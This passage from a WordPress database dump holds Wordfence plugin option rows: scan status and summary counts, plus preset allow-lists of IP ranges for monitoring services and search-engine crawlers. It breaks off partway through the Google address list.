('wfStatusStartMsgs','a:21:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:0:\"\";i:6;s:0:\"\";i:7;s:0:\"\";i:8;s:0:\"\";i:9;s:0:\"\";i:10;s:0:\"\";i:11;s:0:\"\";i:12;s:0:\"\";i:13;s:0:\"\";i:14;s:0:\"\";i:15;s:0:\"\";i:16;s:0:\"\";i:17;s:0:\"\";i:18;s:0:\"\";i:19;s:0:\"\";i:20;s:0:\"\";}','yes'),
('wf_scanLastStatusTime','0','yes'),
('wf_scanRunning','','yes'),
('wf_summaryItems','a:8:{s:12:\"scannedPosts\";i:128;s:15:\"scannedComments\";i:0;s:12:\"scannedFiles\";i:5261;s:14:\"scannedPlugins\";i:6;s:13:\"scannedThemes\";i:7;s:12:\"scannedUsers\";i:1;s:11:\"scannedURLs\";i:1803;s:10:\"lastUpdate\";i:1789251253;}','yes'),
('whitelisted','','yes'),
('whitelistedServices','{}','yes'),
('whitelistHash','90f8bbe8487453b43fbb22dc73cdf3a9745c251d6aa2ca8ed3ddc6d48600da18','yes'),
('whitelistPresets','{\"wordfence\":{\"n\":\"Wordfence\",\"h\":true,\"d\":true,\"f\":true,\"r\":[\"54.68.32.247\",\"44.235.211.232\",\"54.71.203.174\"]},\"sucuri\":{\"n\":\"Sucuri\",\"d\":true,\"r\":[\"192.88.134.0\\/23\",\"185.93.228.0\\/22\",\"66.248.200.0\\/22\",\"2a02:fe80::\\/29\",\"208.109.0.0\\/22\"]},\"facebook\":{\"n\":\"Facebook\",\"d\":true,\"r\":[\"31.13.24.0\\/21\",\"31.13.64.0\\/18\",\"45.64.40.0\\/22\",\"57.141.0.0\\/24\",\"57.141.1.0\\/24\",\"57.141.2.0\\/24\",\"57.141.3.0\\/24\",\"57.141.4.0\\/24\",\"57.141.5.0\\/24\",\"57.141.6.0\\/24\",\"57.141.7.0\\/24\",\"57.141.8.0\\/24\",\"57.141.9.0\\/24\",\"57.141.10.0\\/24\",\"57.141.11.0\\/24\",\"57.141.12.0\\/24\",\"57.141.13.0\\/24\",\"57.144.0.0\\/14\",\"66.220.144.0\\/20\",\"69.63.176.0\\/20\",\"69.171.224.0\\/19\",\"74.119.76.0\\/22\",\"102.132.96.0\\/20\",\"103.4.96.0\\/22\",\"129.134.0.0\\/16\",\"147.75.208.0\\/20\",\"157.240.0.0\\/16\",\"163.70.128.0\\/17\",\"163.77.128.0\\/17\",\"173.252.64.0\\/18\",\"179.60.192.0\\/22\",\"185.60.216.0\\/22\",\"185.89.216.0\\/22\",\"204.15.20.0\\/22\",\"2401:db00::\\/32\",\"2620:0:1c00::\\/40\",\"2a03:2880::\\/32\",\"2a03:2881::\\/32\",\"2a03:2887:ff2c::\\/48\",\"2a03:2887:ff2d::\\/48\",\"2a03:83e0::\\/32\",\"2a10:f781:10:cee0::\\/64\"]},\"uptimerobot\":{\"n\":\"Uptime Robot\",\"d\":true,\"r\":[\"216.144.250.150\",\"69.162.124.226\",\"69.162.124.227\",\"69.162.124.228\",\"69.162.124.229\",\"69.162.124.230\",\"69.162.124.231\",\"69.162.124.232\",\"69.162.124.233\",\"69.162.124.234\",\"69.162.124.235\",\"69.162.124.236\",\"69.162.124.237\",\"69.162.124.238\",\"63.143.42.242\",\"63.143.42.243\",\"63.143.42.244\",\"63.143.42.245\",\"63.143.42.246\",\"63.143.42.247\",\"63.143.42.248\",\"63.143.42.249\",\"63.143.42.250\",\"63.143.42.251\",\"63.143.42.252\",\"63.143.42.253\",\"216.245.221.82\",\"216.245.221.83\",\"216.245.221.84\",\"216.245.221.85\",\"216.245.221.86\",\"216.245.221.87\",\"216.245.221.88\",\"216.245.221.89\",\"216.245.221.90\",\"216.245.221.91\",\"216.245.221.92\",\"216.245.221.93\",\"208.115.199.18\",\"208.115.199.19\",\"208.115.199.20\",\"208.115.199.21\",\"208.115.199.22\",\"208.115.199.23\",\"208.115.199.24\",\"208.115.199.25\",\"208.115.199.26\",\"208.115.199.27\",\"208.115.199.28\",\"208.115.199.29\",\"208.115.199.30\",\"216.144.248.18\",\"216.144.248.19\",\"216.144.248.20\",\"216.144.248.21\",\"216.144.248.22\",\"216.144.248.23\",\"216.144.248.24\",\"216.144.248.25\",\"216.144.248.26\",\"216.144.248.27\",\"216.144.248.28\",\"216.144.248.29\",\"216.144.248.30\",\"46.137.190.132\",\"122.248.234.23\",\"167.99.209.234\",\"178.62.52.237\",\"54.79.28.129\",\"54.94.142.218\",\"104.131.107.63\",\"54.67.10.127\",\"54.64.67.106\",\"159.203.30.41\",\"46.101.250.135\",\"18.221.56.27\",\"52.60.129.180\",\"159.89.8.111\",\"146.185.143.14\",\"139.59.173.249\",\"165.227.83.148\",\"128.199.195.156\",\"138.197.150.151\",\"34.233.66.117\",\"52.70.84.165\",\"54.225.82.45\",\"54.224.73.211\",\"3.79.92.117\",\"3.21.136.87\",\"35.170.215.196\",\"35.153.243.148\",\"18.116.158.121\",\"18.223.50.16\",\"54.241.175.147\",\"3.212.128.62\",\"52.22.236.30\",\"54.167.223.174\",\"3.12.251.153\",\"52.15.147.27\",\"18.116.205.62\",\"3.20.63.178\",\"13.56.33.4\",\"52.8.208.143\",\"34.198.201.66\",\"35.84.118.171\",\"44.227.38.253\",\"35.166.228.98\",\"99.80.173.191\",\"99.80.1.74\",\"3.111.88.158\",\"13.127.188.124\",\"18.180.208.214\",\"54.249.170.27\",\"3.105.190.221\",\"3.105.133.239\",\"78.47.98.55\",\"157.90.155.240\",\"49.13.24.81\",\"168.119.96.239\",\"157.90.156.63\",\"88.99.80.227\",\"49.13.134.145\",\"49.13.130.29\",\"168.119.53.160\",\"142.132.180.39\",\"49.13.164.148\",\"128.140.106.114\",\"78.47.173.76\",\"159.69.158.189\",\"128.140.41.193\",\"167.235.143.113\",\"49.13.167.123\",\"78.46.215.1\",\"78.46.190.63\",\"168.119.123.75\",\"135.181.154.9\",\"37.27.87.149\",\"37.27.34.49\",\"37.27.82.220\",\"65.109.129.165\",\"37.27.28.153\",\"37.27.29.68\",\"37.27.30.213\",\"65.109.142.78\",\"65.109.8.202\",\"5.161.75.7\",\"5.161.61.238\",\"5.78.87.38\",\"5.78.118.142\",\"2607:ff68:107::3\",\"2607:ff68:107::4\",\"2607:ff68:107::5\",\"2607:ff68:107::6\",\"2607:ff68:107::7\",\"2607:ff68:107::8\",\"2607:ff68:107::9\",\"2607:ff68:107::10\",\"2607:ff68:107::11\",\"2607:ff68:107::12\",\"2607:ff68:107::13\",\"2607:ff68:107::14\",\"2607:ff68:107::15\",\"2607:ff68:107::16\",\"2607:ff68:107::17\",\"2607:ff68:107::18\",\"2607:ff68:107::19\",\"2607:ff68:107::20\",\"2607:ff68:107::21\",\"2607:ff68:107::22\",\"2607:ff68:107::23\",\"2607:ff68:107::24\",\"2607:ff68:107::25\",\"2607:ff68:107::26\",\"2607:ff68:107::27\",\"2607:ff68:107::28\",\"2607:ff68:107::29\",\"2607:ff68:107::30\",\"2607:ff68:107::31\",\"2607:ff68:107::32\",\"2607:ff68:107::33\",\"2607:ff68:107::34\",\"2607:ff68:107::35\",\"2607:ff68:107::36\",\"2607:ff68:107::37\",\"2607:ff68:107::38\",\"2607:ff68:107::39\",\"2607:ff68:107::40\",\"2607:ff68:107::41\",\"2607:ff68:107::42\",\"2607:ff68:107::43\",\"2607:ff68:107::44\",\"2607:ff68:107::45\",\"2607:ff68:107::46\",\"2607:ff68:107::47\",\"2607:ff68:107::48\",\"2607:ff68:107::49\",\"2607:ff68:107::50\",\"2607:ff68:107::51\",\"2607:ff68:107::52\",\"2607:ff68:107::53\",\"2607:ff68:107::54\",\"2607:ff68:107::55\",\"2607:ff68:107::56\",\"2607:ff68:107::57\",\"2607:ff68:107::58\",\"2607:ff68:107::59\",\"2607:ff68:107::60\",\"2607:ff68:107::61\",\"2607:ff68:107::62\",\"2a03:b0c0:2:d0::fa3:e001\",\"2a03:b0c0:1:d0::e54:a001\",\"2604:a880:800:10::4e6:f001\",\"2604:a880:cad:d0::122:7001\",\"2a03:b0c0:3:d0::33e:4001\",\"2600:1f16:775:3a01:70d6:601a:1eb5:dbb9\",\"2600:1f11:56a:9000:23:651b:dac0:9be4\",\"2a03:b0c0:3:d0::44:f001\",\"2a03:b0c0:0:1010::2b:b001\",\"2a03:b0c0:1:d0::22:5001\",\"2604:a880:400:d0::4f:3001\",\"2400:6180:0:d0::16:d001\",\"2604:a880:cad:d0::18:f001\",\"2600:1f18:179:f900:88b2:b3d:e487:e2f4\",\"2600:1f18:179:f900:1977:916:ee3d:711e\",\"2a05:d014:1815:3400:588a:ee17:65c3:3b09\",\"2600:1f16:775:3a00:b729:c226:2737:fe49\",\"2600:1f1c:edf:1401:2124:652e:c5df:f89b\",\"2600:1f16:775:3a00:acb7:ec84:11f2:2bf4\",\"2600:1f16:775:3a00:66b2:530c:e48:573e\",\"2600:1f18:179:f900:803:c81e:6059:b78f\",\"2600:1f18:179:f900:473d:7e21:19be:3b9d\",\"2600:1f1c:edf:1401:bd68:1478:fe7d:c02f\",\"2600:1f1c:edf:1401:619b:f188:3403:94c8\",\"2600:1f16:775:3a00:8c2c:2ba6:778f:5be5\",\"2600:1f16:775:3a00:ac3:c5eb:7081:942e\",\"2600:1f16:775:3a00:dbbe:36b0:3c45:da32\",\"2600:1f16:775:3a00:37bf:6026:e54a:f03a\",\"2600:1f18:179:f900:4696:7729:7bb3:f52f\",\"2600:1f18:179:f900:4b7d:d1cc:2d10:211\",\"2600:1f18:179:f900:5c68:91b6:5d75:5d7\",\"2600:1f18:179:f900:71:af9a:ade7:d772\",\"2600:1f14:203:e40d:c86b:1e24:fab4:7d03\",\"2600:1f14:203:e48b:5538:77b2:6e13:4f8d\",\"2600:1f14:203:e46c:6c8c:bcb:5245:7a0c\",\"2a01:4f8:c013:34c0::\\/64\",\"2a01:4f8:c013:3c52::\\/64\",\"2a01:4f8:c013:3c53::\\/64\",\"2a01:4f8:c013:c18::\\/64\",\"2a01:4f8:c012:c60e::\\/64\",\"2a01:4f8:c013:3c55::\\/64\",\"2a01:4f8:c17:42e4::\\/64\",\"2a01:4f8:c013:3c54::\\/64\",\"2a01:4f8:c013:3c56::\\/64\",\"2a01:4f8:c013:3b0f::\\/64\",\"2a01:4f8:1c1b:7ecc::\\/64\",\"2a01:4f8:1c1c:5353::\\/64\",\"2a01:4f8:1c1b:4ef4::\\/64\",\"2a01:4f8:1c1b:5b5a::\\/64\",\"2a01:4f8:1c1c:11aa::\\/64\",\"2a01:4f8:1c1c:7240::\\/64\",\"2a01:4f8:c0c:83fa::\\/64\",\"2a01:4f8:c2c:beae::\\/64\",\"2a01:4f8:c2c:9fc6::\\/64\",\"2a01:4f8:1c1c:a98a::\\/64\",\"2a01:4f9:c010:b473::\\/64\",\"2a01:4f9:c012:d5a6::\\/64\",\"2a01:4f9:c012:a954::\\/64\",\"2a01:4f9:c010:dc03::\\/64\",\"2a01:4f9:c012:592a::\\/64\",\"2a01:4f9:c010:e70b::\\/64\",\"2a01:4f9:c012:97c5::\\/64\",\"2a01:4f9:c012:b246::\\/64\",\"2a01:4f9:c012:a544::\\/64\",\"2a01:4ff:f0:e9cf::\\/64\",\"2a01:4ff:f0:b2f2::\\/64\",\"2a01:4ff:1f0:9092::\\/64\",\"2a01:4ff:1f0:e821::\\/64\"]},\"statuscake\":{\"n\":\"StatusCake\",\"d\":true,\"r\":[\"128.199.105.174\",\"167.172.171.102\",\"149.248.50.29\",\"146.190.20.113\",\"45.32.69.14\",\"45.32.195.225\",\"149.28.79.140\",\"108.61.162.214\",\"34.92.43.64\",\"45.76.123.211\",\"34.65.116.80\",\"138.68.187.225\",\"13.48.238.157\",\"45.63.104.11\",\"45.32.151.21\",\"198.199.112.67\",\"138.197.201.67\",\"198.211.123.207\",\"146.190.20.1\",\"198.211.121.217\",\"45.32.202.57\",\"146.190.24.231\",\"108.61.119.153\",\"198.211.123.54\",\"45.32.141.163\",\"108.61.252.147\",\"155.138.247.97\",\"108.61.224.36\",\"178.62.62.252\",\"209.222.30.242\",\"159.65.19.28\",\"108.61.212.141\",\"165.22.122.238\",\"138.68.139.98\",\"198.211.122.64\",\"146.190.20.13\",\"198.211.118.32\",\"139.59.179.152\",\"206.189.178.14\",\"174.138.57.253\",\"188.166.150.48\",\"192.241.243.72\",\"46.101.11.146\",\"162.243.37.40\",\"159.223.175.210\",\"178.62.85.105\",\"178.62.83.142\",\"178.62.40.182\",\"165.227.74.224\",\"157.245.32.33\",\"159.89.82.33\",\"207.148.13.55\",\"159.65.93.138\",\"167.71.143.76\",\"16.170.114.19\",\"13.246.54.122\",\"167.172.175.168\",\"167.172.161.111\",\"167.71.61.88\",\"188.166.145.79\",\"34.165.80.145\",\"143.110.216.228\",\"18.102.1.62\",\"216.238.73.102\",\"13.245.222.203\",\"159.223.74.121\",\"167.172.163.51\",\"167.172.171.89\",\"167.172.163.238\",\"68.183.39.102\",\"165.22.125.189\",\"138.68.83.231\",\"35.195.188.224\",\"15.160.68.179\",\"34.116.156.130\",\"143.110.177.252\",\"45.63.121.159\",\"45.32.145.79\",\"199.247.12.100\",\"143.198.153.99\",\"107.191.47.131\",\"143.244.178.189\",\"138.68.252.209\",\"198.199.100.13\",\"143.110.216.159\",\"143.110.216.64\",\"143.110.216.47\",\"167.172.171.10\",\"167.172.163.229\",\"209.97.178.115\",\"167.172.163.128\",\"165.22.210.218\",\"45.63.88.213\",\"45.63.86.120\",\"45.32.128.80\",\"104.156.229.24\",\"45.32.212.56\",\"104.156.255.184\",\"108.61.215.179\",\"45.32.166.195\",\"45.32.160.172\",\"45.32.171.24\",\"107.191.57.237\",\"45.63.26.78\",\"45.76.192.50\",\"45.32.36.158\",\"143.110.177.254\",\"143.110.177.18\",\"104.238.164.105\",\"45.63.76.68\",\"45.63.78.84\",\"45.32.195.186\",\"45.76.3.112\",\"45.32.7.22\",\"45.76.1.44\",\"165.227.104.61\",\"162.243.37.58\",\"167.99.224.153\",\"45.63.51.63\",\"45.63.61.213\",\"108.61.205.201\",\"45.32.192.198\",\"45.32.195.93\",\"45.63.97.4\",\"104.238.185.175\",\"104.238.185.46\",\"104.238.186.209\",\"45.76.128.250\",\"104.238.171.176\",\"167.172.173.165\",\"104.238.187.61\",\"104.238.174.234\",\"108.61.196.37\",\"108.61.197.147\",\"45.76.134.164\",\"45.76.135.253\",\"108.61.173.0\",\"45.63.96.68\",\"45.76.134.85\",\"45.32.183.128\",\"45.76.130.43\",\"45.76.129.212\",\"45.76.134.198\",\"45.76.134.237\",\"45.76.135.14\",\"45.32.193.13\",\"45.76.44.221\",\"140.82.52.199\",\"199.247.9.63\",\"140.82.52.51\",\"45.77.61.188\",\"149.28.124.140\",\"108.61.229.252\",\"54.72.247.193\",\"142.93.100.235\",\"13.245.199.158\",\"54.194.6.253\",\"45.76.122.71\",\"45.77.235.246\",\"167.172.171.150\",\"216.238.76.215\",\"207.148.106.182\",\"45.77.23.81\",\"141.164.58.9\",\"141.164.48.161\",\"141.164.35.233\",\"13.49.141.132\",\"13.48.110.214\",\"34.65.146.108\",\"34.65.97.251\",\"34.95.163.121\",\"34.95.214.187\",\"35.199.96.243\",\"34.78.123.120\",\"34.92.171.119\",\"34.118.59.148\",\"34.118.53.12\",\"34.65.97.99\",\"34.116.229.102\",\"34.165.13.190\",\"209.97.171.44\",\"34.165.219.192\",\"34.165.120.108\",\"35.187.119.100\",\"34.34.185.236\",\"35.247.248.27\",\"13.247.17.60\",\"54.170.7.14\",\"52.48.52.95\",\"34.96.139.85\",\"34.150.35.14\",\"216.238.84.207\",\"216.238.77.111\",\"15.161.88.159\",\"18.102.253.202\",\"140.82.4.219\",\"34.22.96.192\",\"35.198.232.244\",\"34.175.49.24\",\"34.175.19.199\",\"34.175.21.165\",\"34.175.86.21\",\"34.13.166.3\",\"34.13.185.113\",\"34.34.97.213\",\"34.13.188.75\",\"34.141.16.202\",\"34.159.178.196\",\"34.40.39.31\",\"34.107.112.44\",\"35.197.251.116\",\"35.197.195.213\",\"35.197.232.17\",\"34.147.219.142\",\"34.155.143.57\",\"34.163.147.250\",\"34.155.232.229\",\"34.155.58.180\",\"35.235.115.146\",\"34.94.175.122\",\"34.94.216.215\",\"34.102.121.250\",\"34.174.9.202\",\"34.174.49.169\",\"34.174.16.112\",\"34.174.16.200\",\"165.22.77.197\",\"198.199.95.216\",\"108.61.99.232\",\"45.32.251.210\",\"198.199.111.122\",\"2a03:b0c0:1:d0::a4:6001\",\"178.62.47.83\",\"2a03:b0c0:1:a1::3a5:3001\",\"46.101.86.253\",\"188.166.170.233\",\"2400:6180:0:d0::257:1\",\"128.199.230.46\",\"128.199.252.83\",\"2a03:b0c0:3:d0::b6d:4001\",\"46.101.172.39\",\"2a03:b0c0:3:d0::b6d:5001\",\"46.101.227.232\",\"198.199.91.244\",\"2604:a880:400:d0::2c:1\",\"192.34.63.77\",\"2604:a880:400:d0::699:7001\",\"198.211.104.10\",\"2604:a880:400:d0::699:9001\",\"198.199.91.32\",\"2400:6180:100:d0::94:9001\",\"139.59.6.165\",\"2604:a880:cad:d0::2d4:c001\",\"159.203.60.219\",\"2a03:b0c0:3:d0::5764:f001\",\"46.101.217.181\",\"2a03:b0c0:0:1010::3ae:1\",\"198.199.126.66\",\"2a03:b0c0:0:1010::1404:3001\",\"188.226.161.230\",\"192.241.151.177\",\"67.207.82.93\",\"139.59.170.38\",\"2604:a880:cad:d0::b45:d001\",\"165.227.47.219\",\"178.128.45.91\",\"45.76.119.156\",\"95.179.210.32\",\"178.128.46.6\",\"2a03:b0c0:1:d0::1432:7001\",\"178.62.59.196\",\"2a03:b0c0:1:e0::2ab:7001\",\"209.97.143.186\",\"46.101.37.24\",\"174.138.46.101\",\"2a03:b0c0:1:e0::264:d001\",\"209.97.132.39\",\"178.128.37.179\",\"192.241.242.113\",\"2a03:b0c0:3:d0::e2:a001\",\"207.154.246.185\",\"162.243.29.225\",\"13.49.85.27\",\"2604:a880:2:d0::2147:7001\",\"142.93.31.128\",\"162.243.30.74\",\"107.170.248.179\",\"142.93.47.138\",\"162.243.32.153\",\"107.170.203.65\",\"2a03:b0c0:1:e0::6b0:6001\",\"165.232.44.244\",\"162.243.33.205\",\"46.101.75.135\",\"165.232.98.183\",\"162.243.20.174\",\"45.63.27.30\",\"167.99.242.41\",\"162.243.19.113\",\"139.180.164.162\",\"198.199.115.185\",\"162.243.141.135\",\"107.170.235.240\",\"104.236.163.90\",\"209.97.132.240\",\"188.166.158.224\"]},\"managewp\":{\"n\":\"ManageWP\",\"d\":false,\"r\":[\"54.191.137.17\",\"34.211.180.66\",\"54.70.65.107\",\"34.210.224.7\",\"52.41.5.108\",\"52.35.72.129\",\"35.162.254.253\",\"52.11.12.231\",\"52.11.29.70\",\"52.11.54.161\",\"52.24.142.159\",\"52.25.191.255\",\"52.34.126.117\",\"52.34.254.47\",\"52.35.82.99\",\"52.36.28.80\",\"52.39.177.152\",\"52.41.237.12\",\"52.43.13.71\",\"52.43.76.224\",\"52.88.96.110\",\"52.89.155.51\",\"54.187.92.57\",\"54.191.32.65\",\"54.191.67.23\",\"54.191.80.119\",\"54.191.135.209\",\"54.191.136.176\",\"54.191.148.85\",\"54.191.149.8\",\"52.26.122.21\",\"52.24.187.29\",\"52.89.85.107\",\"54.186.128.167\",\"54.191.40.136\",\"52.88.119.122\",\"52.89.94.121\",\"52.25.116.116\",\"52.88.215.225\",\"54.186.143.184\",\"52.88.197.180\",\"52.27.171.126\",\"34.211.178.241\",\"52.24.232.158\",\"52.26.187.210\",\"52.42.189.119\",\"54.186.244.128\",\"54.71.54.102\",\"34.210.35.214\",\"34.213.77.188\",\"34.218.121.176\",\"52.10.190.191\",\"52.10.225.96\",\"52.11.187.168\",\"52.25.139.76\",\"52.43.127.200\",\"54.191.108.9\",\"54.70.201.228\",\"44.224.174.169\",\"52.32.57.81\",\"44.225.177.160\",\"34.223.186.249\",\"44.224.135.238\",\"44.226.111.14\",\"44.225.203.104\",\"44.226.100.122\",\"44.224.250.144\",\"44.225.118.211\",\"54.189.93.69\",\"44.231.184.112\",\"44.238.10.27\",\"54.185.116.30\",\"44.238.58.95\",\"52.13.23.154\",\"54.149.16.35\",\"44.226.97.20\",\"54.244.242.144\",\"44.238.67.135\",\"44.235.15.76\",\"54.214.47.164\",\"34.214.48.135\",\"54.184.234.227\",\"44.238.241.95\",\"52.37.217.170\",\"34.214.212.42\",\"54.203.109.179\"]},\"seznam\":{\"n\":\"Seznam Search Engine\",\"d\":true,\"r\":[\"77.75.72.0\\/21\",\"77.75.72.0\\/23\",\"77.75.72.0\\/23\",\"77.75.74.0\\/24\",\"77.75.75.0\\/24\",\"77.75.75.0\\/24\",\"77.75.76.0\\/23\",\"77.75.78.0\\/23\",\"185.66.188.0\\/22\",\"2a02:598::\\/32\",\"2a02:598:2::\\/48\",\"2a02:598:a::\\/48\",\"2a02:598:b::\\/48\",\"2a02:598:3333::\\/48\",\"2a02:598:4444::\\/48\"]},\"google\":{\"n\":\"Google Search Engine\",\"d\":true,\"r\":[\"2001:4860:4801:10::\\/64\",\"2001:4860:4801:11::\\/64\",\"2001:4860:4801:12::\\/64\",\"2001:4860:4801:13::\\/64\",\"2001:4860:4801:14::\\/64\",\"2001:4860:4801:15::\\/64\",\"2001:4860:4801:16::\\/64\",\"2001:4860:4801:17::\\/64\",\"2001:4860:4801:18::\\/64\",\"2001:4860:4801:19::\\/64\",\"2001:4860:4801:1a::\\/64\",\"2001:4860:4801:1b::\\/64\",\"2001:4860:4801:1c::\\/64\",\"2001:4860:4801:1d::\\/64\",\"2001:4860:4801:1e::\\/64\",\"2001:4860:4801:1f::\\/64\",\"2001:4860:4801:20::\\/64\",\"2001:4860:4801:21::\\/64\",\"2001:4860:4801:22::\\/64\",\"2001:4860:4801:23::\\/64\",\"2001:4860:4801:24::\\/64\",\"2001:4860:4801:25::\\/64\",\"2001:4860:4801:26::\\/64\",\"2001:4860:4801:27::\\/64\",\"2001:4860:4801:28::\\/64\",\"2001:4860:4801:29::\\/64\",\"2001:4860:4801:2::\\/64\",\"2001:4860:4801:2a::\\/64\",\"2001:4860:4801:2b::\\/64\",\"2001:4860:4801:2c::\\/64\",\"2001:4860:4801:2d::\\/64\",\"2001:4860:4801:2e::\\/64\",\"2001:4860:4801:2f::\\/64\",\"2001:4860:4801:30::\\/64\",\"2001:4860:4801:31::\\/64\",\"2001:4860:4801:32::\\/64\",\"2001:4860:4801:33::\\/64\",\"2001:4860:4801:34::\\/64\",\"2001:4860:4801:35::\\/64\",\"2001:4860:4801:36::\\/64\",\"2001:4860:4801:37::\\/64\",\"2001:4860:4801:38::\\/64\",\"2001:4860:4801:39::\\/64\",\"2001:4860:4801:3a::\\/64\",\"2001:4860:4801:3b::\\/64\",\"2001:4860:4801:3c::\\/64\",\"2001:4860:4801:3d::\\/64\",\"2001:4860:4801:3e::\\/64\",\"2001:4860:4801:3f::\\/64\",\"2001:4860:4801:40::\\/64\",\"2001:4860:4801:41::\\/64\",\"2001:4860:4801:42::\\/64\",\"2001:4860:4801:43::\\/64\",\"2001:4860:4801:44::\\/64\",\"2001:4860:4801:45::\\/64\",\"2001:4860:4801:46::\\/64\",\"2001:4860:4801:47::\\/64\",\"2001:4860:4801:48::\\/64\",\"2001:4860:4801:49::\\/64\",\"2001:4860:4801:4a::\\/64\",\"2001:4860:4801:4b::\\/64\",\"2001:4860:4801:4c::\\/64\",\"2001:4860:4801:4d::\\/64\",\"2001:4860:4801:4e::\\/64\",\"2001:4860:4801:50::\\/64\",\"2001:4860:4801:51::\\/64\",\"2001:4860:4801:52::\\/64\",\"2001:4860:4801:53::\\/64\",\"2001:4860:4801:54::\\/64\",\"2001:4860:4801:55::\\/64\",\"2001:4860:4801:56::\\/64\",\"2001:4860:4801:57::\\/64\",\"2001:4860:4801:58::\\/64\",\"2001:4860:4801:59::\\/64\",\"2001:4860:4801:60::\\/64\",\"2001:4860:4801:61::\\/64\",\"2001:4860:4801:62::\\/64\",\"2001:4860:4801:63::\\/64\",\"2001:4860:4801:64::\\/64\",\"2001:4860:4801:65::\\/64\",\"2001:4860:4801:66::\\/64\",\"2001:4860:4801:67::\\/64\",\"2001:4860:4801:68::\\/64\",\"2001:4860:4801:69::\\/64\",\"2001:4860:4801:6a::\\/64\",\"2001:4860:4801:6b::\\/64\",\"2001:4860:4801:6c::\\/64\",\"2001:4860:4801:6d::\\/64\",\"2001:4860:4801:6e::\\/64\",\"2001:4860:4801:6f::\\/64\",\"2001:4860:4801:70::\\/64\",\"2001:4860:4801:71::\\/64\",\"2001:4860:4801:72::\\/64\",\"2001:4860:4801:73::\\/64\",\"2001:4860:4801:74::\\/64\",\"2001:4860:4801:75::\\/64\",\"2001:4860:4801:76::\\/64\",\"2001:4860:4801:77::\\/64\",\"2001:4860:4801:78::\\/64\",\"2001:4860:4801:79::\\/64\",\"2001:4860:4801:7a::\\/64\",\"2001:4860:4801:7b::\\/64\",\"2001:4860:4801:7c::\\/64\",\"2001:4860:4801:7d::\\/64\",\"2001:4860:4801:7e::\\/64\",\"2001:4860:4801:7f::\\/64\",\"2001:4860:4801:80::\\/64\",\"2001:4860:4801:81::\\/64\",\"2001:4860:4801:82::\\/64\",\"2001:4860:4801:83::\\/64\",\"2001:4860:4801:84::\\/64\",\"2001:4860:4801:85::\\/64\",\"2001:4860:4801:86::\\/64\",\"2001:4860:4801:87::\\/64\",\"2001:4860:4801:88::\\/64\",\"2001:4860:4801:90::\\/64\",\"2001:4860:4801:91::\\/64\",\"2001:4860:4801:92::\\/64\",\"2001:4860:4801:93::\\/64\",\"2001:4860:4801:94::\\/64\",\"2001:4860:4801:95::\\/64\",\"2001:4860:4801:96::\\/64\",\"2001:4860:4801:97::\\/64\",\"2001:4860:4801:a0::\\/64\",\"2001:4860:4801:a1::\\/64\",\"2001:4860:4801:a2::\\/64\",\"2001:4860:4801:a3::\\/64\",\"2001:4860:4801:a4::\\/64\",\"2001:4860:4801:a5::\\/64\",\"2001:4860:4801:a6::\\/64\",\"2001:4860:4801:a7::\\/64\",\"2001:4860:4801:a8::\\/64\",\"2001:4860:4801:a9::\\/64\",\"2001:4860:4801:aa::\\/64\",\"2001:4860:4801:ab::\\/64\",\"2001:4860:4801:ac::\\/64\",\"2001:4860:4801:ad::\\/64\",\"2001:4860:4801:ae::\\/64\",\"2001:4860:4801:b0::\\/64\",\"2001:4860:4801:b1::\\/64\",\"2001:4860:4801:b2::\\/64\",\"2001:4860:4801:b3::\\/64\",\"2001:4860:4801:b4::\\/64\",\"2001:4860:4801:b5::\\/64\",\"2001:4860:4801:b6::\\/64\",\"2001:4860:4801:c::\\/64\",\"2001:4860:4801:f::\\/64\",\"192.178.4.0\\/27\",\"192.178.4.128\\/27\",\"192.178.4.160\\/27\",\"192.178.4.192\\/27\",\"192.178.4.224\\/27\",\"192.178.4.32\\/27\",\"192.178.4.64\\/27\",\"192.178.4.96\\/27\",\"192.178.5.0\\/27\",\"192.178.6.0\\/27\",\"192.178.6.128\\/27\",\"192.178.6.160\\/27\",\"192.178.6.192\\/27\",\"192.178.6.224\\/27\",\"192.178.6.32\\/27\",\"192.178.6.64\\/27\",\"192.178.6.96\\/27\",\"192.178.7.0\\/27\",\"192.178.7.128\\/27\",\"192.178.7.160\\/27\",\"192.178.7.192\\/27\",\"192.178.7.224\\/27\",\"192.178.7.32\\/27\",\"192.178.7.64\\/27\",\"192.178.7.96\\/27\",\"34.100.182.96\\/28\",\"34.101.50.144\\/28\",\"34.118.254.0\\/28\",\"34.118.66.0\\/28\",\"34.126.178.96\\/28\",\"34.146.150.144\\/28\",\"34.147.110.144\\/28\",\"34.151.74.144\\/28\",\"34.152.50.64\\/28\",\"34.154.114.144\\/28\",\"34.155.98.32\\/28\",\"34.165.18.176\\/28\",\"34.175.160.64\\/28\",\"34.176.130.16\\/28\",\"34.22.85.0\\/27\",\"34.64.82.64\\/28\",\"34.65.242.112\\/28\",\"34.80.50.80\\/28\",\"34.88.194.0\\/28\",\"34.89.10.80\\/28\",\"34.89.198.80\\/28\",\"34.96.162.48\\/28\",\"35.247.243.240\\/28\",\"66.249.64.0\\/27\",\"66.249.64.128\\/27\",\"66.249.64.160\\/27\",\"66.249.64.192\\/27\",\"66.249.64.224\\/27\",\"66.249.64.32\\/27\",\"66.249.64.64\\/27\",\"66.249.64.96\\/27\",\"66.249.65.0\\/27\",\"66.249.65.128\\/27\",\"66.249.65.160\\/27\",\"66.249.65.192\\/27\",\"66.249.65.224\\/27\",\"66.249.65.32\\/27\",\"66.249.65.64\\/27\",\"66.249.65.96\\/27\",\"66.249.66.0\\/27\",\"66.249.66.128\\/27\",\"66.249.66.160\\/27\",\"66.249.66.192\\/27\",\"66.249.66.224\\/27\",\"66.249.66.32\\/27\",\"66.249.66.64\\/27\",\"66.249.66.96\\/27\",\"66.249.67.0\\/27\",\"66.249.67.32\\/27\",\"66.249.67.64\\/27\",\"66.249.68.0\\/27\",\"66.249.68.128\\/27\",\"66.249.68.160\\/27\",\"66.249.68.192\\/27\",\"66.249.68.224\\/27\",\"66.249.68.32\\/27\",\"66.249.68.64\\/27\",\"66.249.68.96\\/27\",\"66.249.69.0\\/27\",\"66.249.69.128\\/27\",\"66.249.69.160\\/27\",\"66.249.69.192\\/27\",\"66.249.69.224\\/27\",\"66.249.69.32\\/27\",\"66.249.69.64\\/27\",\"66.249.69.96\\/27\",\"66.249.70.0\\/27\",\"66.249.70.128\\/27\",\"66.249.70.160\\/27\",\"66.249.70.192\\/27\",\"66.249.70.224\\/27\",\"66.249.70.32\\/27\",\"66.249.70.64\\/27\",\"66.249.70.96\\/27\",\"66.249.71.0\\/27\